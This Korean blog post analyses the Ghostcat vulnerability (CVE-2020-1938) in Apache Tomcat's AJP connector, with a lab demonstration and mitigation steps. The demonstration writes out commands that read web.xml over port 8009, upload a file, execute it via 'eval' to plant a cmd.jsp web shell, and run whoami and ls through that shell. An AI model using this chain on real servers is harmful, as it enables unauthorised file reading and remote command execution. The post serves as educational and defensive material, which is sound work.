정보보안/CVE

[CVE-2020-1938] Ghostcat Tomcat AJP Protocol 취약점

록스타★ 2024. 12. 6. 13:55
반응형

1. CVE-2020-1938 취약점 설명

1) CVE-2020-1938 개요

Ghostcat이라는 이름으로도 알려진 Apache Tomcat AJP(Apache JServ Protocol) 파일 포함 및 원격 코드 실행 취약점입니다. 이 취약점은 Tomcat의 AJP 커넥터 설정의 문제로 인해 발생하며, 공격자는 이를 악용해 민감한 정보를 읽거나 원격 코드 실행(Remote Code Execution, RCE)을 수행할 수 있습니다.


2) 사전 지식

ㄱ) Apache Tomcat이란?

Apache Tomcat은 Java Servlet, JSP(JavaServer Pages), 그리고 Java WebSocket과 같은 Java 기반 웹 애플리케이션을 실행하는 오픈소스 웹 서버 및 서블릿 컨테이너입니다. Tomcat은 주로 웹 애플리케이션 배포 및 실행에 사용되며, server.xml 파일을 통해 구성됩니다.

 

 

ㄴ) AJP(Apache JServ Protocol)란?

AJP(Apache JServ Protocol)는 Tomcat과 웹 서버(예 : Apache HTTP Server, Nginx 등) 간의 통신을 위한 이진 프로토콜입니다. HTTP 요청을 전달하는 데 사용되며, Tomcat이 백엔드에서 웹 서버로부터 전달받은 요청을 처리합니다.

AJP는 여러 Tomcat의 인스턴스 요청 분산을 위한 로드 밸런싱과 이진 프로토콜을 사용하여 HTTP보다 속도가 빠릅니다.

 

 

ㄷ) AJP의 기본 구성

Tomcat의 server.xml 파일에서 AJP 커넥터는 기본적으로 활성화되어 있으며, Port 8009에서 동작하며, Tomcat이 AJP를 통해 들어오는 요청을 받을 수 있도록 허용합니다.

 

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

 

 

ㄹ) AJP 취약점 발생 이유

AJP의 파일 읽기 및 처리 동작은 편리한 기능이지만, 인증 또는 IP 제한이 없는 경우 이를 악용에 사용할 수 있습니다.

 


3) 상세 분석

1) 영향 받는 Tomcat 버전

CVE 취약한 버전 위험도
CVE-2020-1938 Apache Tomcat 7.0.0 ~ 7.0.99 high
Apache Tomcat 8.5.0 ~ 8.5.50
Apache Tomcat 9.0.0 ~ 9.0.30

 

 

2) CVE-2020-1938 (Ghostcat)의 공격 메커니즘

먼저 AJP 프로토콜의 역할과 취약점의 작동 원리를 알아보겠습니다. AJP는 웹 서버와 Tomcat 간의 효율적인 통신을 위해 설계된 프로토콜입니다. 일반적으로 Apache HTTP Server와 같은 프런트엔드 웹 서버가 클라이언트 요청을 받아 Tomcat으로 전달하는 데 사용되며, 이러한 통신 과정에서 속도와 성능을 최적화할 목적으로 고안되었는데, AJP는 인증 없이 동작하며, 적절한 방어 장치 없이 모든 요청을 허용한다는 점에서 보안 결함이 발생합니다. 공격자는 인증 없이 동작하는 부분을 악용하여 민감한 파일을 읽거나 파일을 업로드, 다운로드 등 원격 코드를 실행하는 데 악용할 수 있습니다. 이 취약점을 악용하여 민감한 파일을 읽거나 원격 코드를 실행하는 데 성공할 수 있는데, 주요 수단은 AJP 포트를 통해 Tomcat 서버에 직접 접근 하는 것입니다. AJP의 기본 포트는 8009이며, 대부분의 설정에서 외부 네트워크에 노출되어 있어, 이를 악용하여 먼저 서버에 대한 정보를 수집합니다. 예를 들어, 공격자는 AJP 요청을 보내 /WEB-INF/web.xml이나 /META-INF/context.xml과 같은 Tomcat 설정 파일을 읽어 서버의 내부 구조와 중요한 자격 증명을 확인하여, 이를 공격 준비를 위한 초석으로, 데이터베이스 연결 정보나 관리자 자격 증명이 노출될 가능성이 있습니다.

 

 

3) 공격 시연

ㄱ) 테스트 환경 구성

구분 피해자 환경
운영 체제 CentOS7_Victim
소프트웨어 Apache Tomcat
취약 버전 8.5.50
IP주소 10.0.2.123
비고 가상 머신 사용, 피해자와 NAT환경 설정

 

구분 공격자 환경
운영 체제 KaliLinux_Attacker
IP주소 10.0.2.100
비고 가상 머신 사용, 피해자와 NAT환경 설정

 

 

ㄴ) POC 출처

https://github.com/00theway/Ghostcat-CNVD-2020-10487

 

GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938) - GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

github.com

 

 

ㄷ) 공격 실행

목표 : POC를 활용하여 대상자 파일 읽기 및 실행

① 피해자 환경에서 취약 버전 Apache Tomcat 실행

[그림 1] 피해자 환경에서 Apache Tomcat 실행

 

[그림 2] 피해자 환경에서 Apache Tomcat 실행 2

 

공격자 PC에서 POC 파일 다운로드

[그림 3] 공격자 PC에서 POC 파일 다운로드

 

공격자 환경에서 AJP Shooter를 활용하여 피해자 환경의 web.xml 읽기 수행

python ajpShooter.py http://10.0.2.123 8009 /WEB-INF/web.xml read

[그림 4] 피해자 환경의 web.xml을 공격자 PC에 읽기

 

[그림 5] 공격자 PC에서 읽은 파일의 내용이 동일한 지 피해자 환경에서 확인

 

 

④ Tomcat 업로드 구간에 파일 업로드

  > 전 curl을 이용하여 http로 공격자 PC에서 업로드 시켰습니다.

curl -F "file=@ghost.txt" http://10.0.2.123:8080/fileupload.jsp

  > 파일 업로드가 없으신 분들은 아래 별도로 다운 받으셔서 사용하시면 됩니다.

# Apache Commons FileUpload 다운로드
wget https://repo1.maven.org/maven2/commons-fileupload/commons-fileupload/1.4/commons-fileupload-1.4.jar

# Apache Commons IO 다운로드
wget https://repo1.maven.org/maven2/commons-io/commons-io/2.11.0/commons-io-2.11.0.jar

# Tomcat lib 디렉토리로 이동
sudo mv commons-fileupload-1.4.jar commons-io-2.11.0.jar /opt/tomcat/lib/

 

[그림 6] 피해자 환경에서 업로드 환경 구성

 

 

[그림 7] 공격자 환경에서 curl(http)를 이용하여 피해자 환경에서 파일 업로드
[그림 8] 업로드한 ghost.txt 파일 코드 cmd.jsp 다운로드 관련
[그림 9] 공격자 PC에서 업로드한 ghost.txt 피해자 환경에서 확인

 

 

⑤ 공격자 PC에서 eval 옵션을 이용하여 ghost.txt 파일 실행

python ajpShooter.py http://10.0.2.123 8009 /ghost.txt eval

[그림 10] AJP를 eval 이용하여 ghost.txt 파일 실행

 

[그림 11] ghost.txt안의 실행 코드 피해자환경에 다운로드

 

eval 옵션으로 실행하여 다운로드된 cmd.jsp 파일 요청하여 확인

  > 전 curl(http)을 이용하여 확인하였습니다. 

curl "http://10.0.2.123:8080/cmd.jsp?cmd=whoami"
curl "http://10.0.2.123:8080/cmd.jsp?cmd=ls"

[그림 12] 공격자 PC에서 확인한 cmd

 

[그림 13] 피해자 환경에서 확인한 cmd

 


4) 대응 방안

1) Apache Tomcat 보안패치 적용

취약한 버전 보안 패치 버전
Apache Tomcat 7.0.0 ~ 7.0.99 Apache Tomcat 7.x: 7.0.100 이상
Apache Tomcat 8.5.0 ~ 8.5.50 Apache Tomcat 8.5.x: 8.5.51 이상
Apache Tomcat 9.0.0 ~ 9.0.30 Apache Tomcat 9.x: 9.0.31 이상
  Apache Tomcat 10.x: 모든 버전 (해당 취약점 없음)

 

 

2) server.xml 파일 내에 AJP 커넥터 비활성화

리눅스/유닉스: /opt/tomcat/conf/server.xml
윈도우: C:\tomcat\conf\server.xml

주석 처리 전
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

주석 처리 후
<!--
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
-->

[그림 14] server.xml 주석 처리 전

 

[그림 15] server.xml 주석 처리 후

 

 

 


참고 자료

https://github.com/00theway/Ghostcat-CNVD-2020-10487

 

GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938) - GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

github.com

 

https://secuhh.tistory.com/24#article-4-2--ajp-%EC%82%AC%EC%9A%A9-%EC%8B%9C

 

[CVE-2020-1938] Ghostcat Tomcat AJP 프로토콜 취약점

Tomcat AJP 프로토콜에서 /webapps/ROOT/ 디렉토리 하위에 있는 파일을 열람 및 실행할 수 있는 취약점이 발견되었으며 해당 취약점을 통해 웹 쉘 업로드 후 원격에서 명령을 실행하는 취약점이다. 1.

secuhh.tistory.com

 

https://m.blog.naver.com/daengkyun0603/222056158803

 

Apache Tomcat AJP File Read/Inclusion 취약점(CVE-2020-1938)

■ 취약점 개요 Apache Tomcat AJP File Read/Inclusion 취약점(CVE-2020-1938)은 Tomcat의 내...

blog.naver.com

 

반응형